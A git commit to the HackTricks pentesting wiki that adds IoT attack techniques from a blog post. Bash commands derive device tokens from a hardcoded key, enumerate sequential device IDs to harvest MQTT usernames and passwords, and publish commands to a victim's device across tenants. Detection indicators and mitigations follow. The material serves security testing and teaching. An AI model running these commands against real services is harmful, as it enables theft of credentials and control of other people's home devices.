Add content from: How a $20 Smart Device Gave Me Access to Your Home

This commit is contained in:
HackTricks News Bot 2025-10-02 12:40:48 +00:00
parent 3b40ab6ab7
commit a1132b5c22
3 changed files with 135 additions and 6 deletions

View File

@ -185,7 +185,86 @@ Several tools assist in uncovering sensitive information and vulnerabilities wit
Both source code and compiled binaries found in the filesystem must be scrutinized for vulnerabilities. Tools like **checksec.sh** for Unix binaries and **PESecurity** for Windows binaries help identify unprotected binaries that could be exploited. Both source code and compiled binaries found in the filesystem must be scrutinized for vulnerabilities. Tools like **checksec.sh** for Unix binaries and **PESecurity** for Windows binaries help identify unprotected binaries that could be exploited.
## Emulating Firmware for Dynamic Analysis ## Harvesting cloud config and MQTT credentials via derived URL tokens
Many IoT hubs fetch their per-device configuration from a cloud endpoint that looks like:
- [https://<api-host>/pf/<deviceId>/<token>](https://<api-host>/pf/<deviceId>/<token>)
During firmware analysis you may find that <token> is derived locally from the device ID using a hardcoded secret, for example:
- token = MD5( deviceId || STATIC_KEY ) and represented as uppercase hex
This design enables anyone who learns a deviceId and the STATIC_KEY to reconstruct the URL and pull cloud config, often revealing plaintext MQTT credentials and topic prefixes.
Practical workflow:
1) Extract deviceId from UART boot logs
- Connect a 3.3V UART adapter (TX/RX/GND) and capture logs:
```bash
picocom -b 115200 /dev/ttyUSB0
```
- Look for lines printing the cloud config URL pattern and broker address, for example:
```
Online Config URL https://api.vendor.tld/pf/<deviceId>/<token>
MQTT: mqtt://mq-gw.vendor.tld:8001
```
2) Recover STATIC_KEY and token algorithm from firmware
- Load binaries into Ghidra/radare2 and search for the config path ("/pf/") or MD5 usage.
- Confirm the algorithm (e.g., MD5(deviceId||STATIC_KEY)).
- Derive the token in Bash and uppercase the digest:
```bash
DEVICE_ID="d88b00112233"
STATIC_KEY="cf50deadbeefcafebabe"
printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}'
```
3) Harvest cloud config and MQTT credentials
- Compose the URL and pull JSON with curl; parse with jq to extract secrets:
```bash
API_HOST="https://api.vendor.tld"
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
curl -sS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq .
# Fields often include: mqtt host/port, clientId, username, password, topic prefix (tpkfix)
```
4) Abuse plaintext MQTT and weak topic ACLs (if present)
- Use recovered credentials to subscribe to maintenance topics and look for sensitive events:
```bash
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v
```
5) Enumerate predictable device IDs (at scale, with authorization)
- Many ecosystems embed vendor OUI/product/type bytes followed by a sequential suffix.
- You can iterate candidate IDs, derive tokens and fetch configs programmatically:
```bash
API_HOST="https://api.vendor.tld"; STATIC_KEY="cf50deadbeef"; PREFIX="d88b1603" # OUI+type
for SUF in $(seq -w 000000 0000FF); do
DEVICE_ID="${PREFIX}${SUF}"
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
curl -fsS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq -r '.mqtt.username,.mqtt.password' | sed "/null/d" && echo "$DEVICE_ID"
done
```
Notes
- Always obtain explicit authorization before attempting mass enumeration.
- Prefer emulation or static analysis to recover secrets without modifying target hardware when possible.
The process of emulating firmware enables **dynamic analysis** either of a device's operation or an individual program. This approach can encounter challenges with hardware or architecture dependencies, but transferring the root filesystem or specific binaries to a device with matching architecture and endianness, such as a Raspberry Pi, or to a pre-built virtual machine, can facilitate further testing. The process of emulating firmware enables **dynamic analysis** either of a device's operation or an individual program. This approach can encounter challenges with hardware or architecture dependencies, but transferring the root filesystem or specific binaries to a device with matching architecture and endianness, such as a Raspberry Pi, or to a pre-built virtual machine, can facilitate further testing.
@ -308,6 +387,9 @@ To practice discovering vulnerabilities in firmware, use the following vulnerabl
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) - [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
- [How a $20 Smart Device Gave Me Access to Your Home](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home)
## Trainning and Cert ## Trainning and Cert
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) - [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

View File

@ -116,11 +116,59 @@ Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header
- DISCONNECT (14): Initiated by the client to terminate the connection. - DISCONNECT (14): Initiated by the client to terminate the connection.
- Two values, 0 and 15, are marked as reserved and their use is forbidden. - Two values, 0 and 15, are marked as reserved and their use is forbidden.
## IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass
Many consumer IoT platforms expose MQTT brokers that are used by two distinct roles:
- Gateway/hub devices that bridge radio protocols (e.g., BLE/LoRa/Zigbee) to the cloud.
- Mobile apps or web backends that control devices via “app” topics.
Common weaknesses you can abuse during a pentest:
- Plaintext MQTT over non-standard ports (e.g., TCP/8001) instead of MQTTS. Any on-path observer can read credentials and control frames. Use Wireshark to spot cleartext CONNECT/CONNACK and SUBSCRIBE/PUBLISH traffic on unusual ports.
- Weak or missing per-tenant topic ACLs. If topics are namespaced only by deviceId (e.g., "/tenantless/<deviceId>/tx"), any authenticated user might PUBLISH to other tenants devices.
- Sensitive data leakage via maintenance/admin topics (e.g., WiFi credentials broadcast in cleartext after config changes).
Examples (replace placeholders with real values):
Subscribe to potentially sensitive topics with known topic prefixes and device IDs:
```bash
# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v
```
Cross-tenant control when ACLs are weak (publish to another tenants device topic):
```bash
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'
```
Notes:
- The exact topic layout varies by vendor (common patterns: "<topic_prefix>/<deviceId>/<...>" for hubs and "/ys/<deviceId>/tx" for app control). Enumerate with wildcards first and observe responses.
- If brokers are plaintext, capture app sessions to recover short-lived MQTT credentials and tenant identifiers.
Detection and indicators:
- Plaintext outbound MQTT to Internet hosts on ports 1883/8883 and non-standard ports (e.g., 8001). Look for MQTT in packet captures.
- Broker logs showing PUBLISH to <deviceId> topics from unexpected client IDs or tenant IDs.
- Subscriptions to admin/maintenance topics from unassociated accounts.
Mitigations (for findings report):
- Enforce strict per-tenant topic ACLs based on authenticated identity.
- Migrate to MQTTS with mutual TLS and prohibit plaintext brokers.
- Avoid publishing sensitive secrets over MQTT; encrypt at the application layer if necessary.
## Shodan ## Shodan
- `port:1883 MQTT` - `port:1883 MQTT`
- MQTT plaintext on non-standard ports is common in IoT. Consider searching for brokers on alternative ports and confirm with protocol detection.
## References
- [How a $20 Smart Device Gave Me Access to Your Home](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con
> [!TIP] > [!TIP]
> >
> - **How can I cite a page of HackTricks?** > - **How can I a page of HackTricks?**
As long as the link **of** the page(s) where you took the information from appears it's enough.\ As long as the link **of** the page(s) where you took the information from appears it's enough.\
If you need a bibtex you can use something like: If you need a bibtex you can use something like:
@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}